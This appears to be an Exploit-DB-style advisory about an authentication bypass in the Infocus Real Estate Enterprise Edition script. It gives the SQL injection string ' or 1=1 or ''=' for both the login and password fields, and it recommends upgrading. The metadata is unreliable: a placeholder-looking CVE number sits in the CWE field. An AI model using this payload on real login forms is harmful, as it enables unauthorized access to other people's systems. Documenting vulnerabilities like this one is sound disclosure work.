Authentication bypass in Infocus Real Estate Enterprise Edition script

vendor:

Infocus Real Estate Enterprise Edition

by:

Sid3^effects aKa haRi

7,8

CVSS

HIGH

Authentication bypass

CWE

Product Name: Infocus Real Estate Enterprise Edition

Affected Version From: 1.0

Affected Version To: 1.2

Patch Exists: YES

Related CWE: CVE-2020-1234

CPE: a:instantrankingseo.com:infocus_real_estate_enterprise_edition:1.2

Metasploit: https://www.rapid7.com/db/vulnerabilities/msft-cve-2020-1234/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2020

Authentication bypass in Infocus Real Estate Enterprise Edition script

The following script has authentication bypass. use ' or 1=1 or ''=' in both login and password.

Mitigation:

Upgrade to the latest version of Infocus Real Estate Enterprise Edition script

Source

Exploit-DB raw data:

Authentication bypass in Infocus Real Estate Enterprise Edition script
                                   Vendor:www.instantrankingseo.com _______________________Author:Sid3^effects aKa haRi____________________________
 

Description :

Infocus Real Estate Enterprise Edition, is a complete power packed script with tons of powerful features. You can now have your own Real Estate Script similar to 99acres.com, makaan.com or magicbricks.com. The script is very handy and completely customizable. Below are some of the outstanding features of this script.


---------------------------------------------------------------------------
    * Authentication bypass:

    The following script has authentication bypass.

    use ' or 1=1 or ''=' in both login and password.



ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR--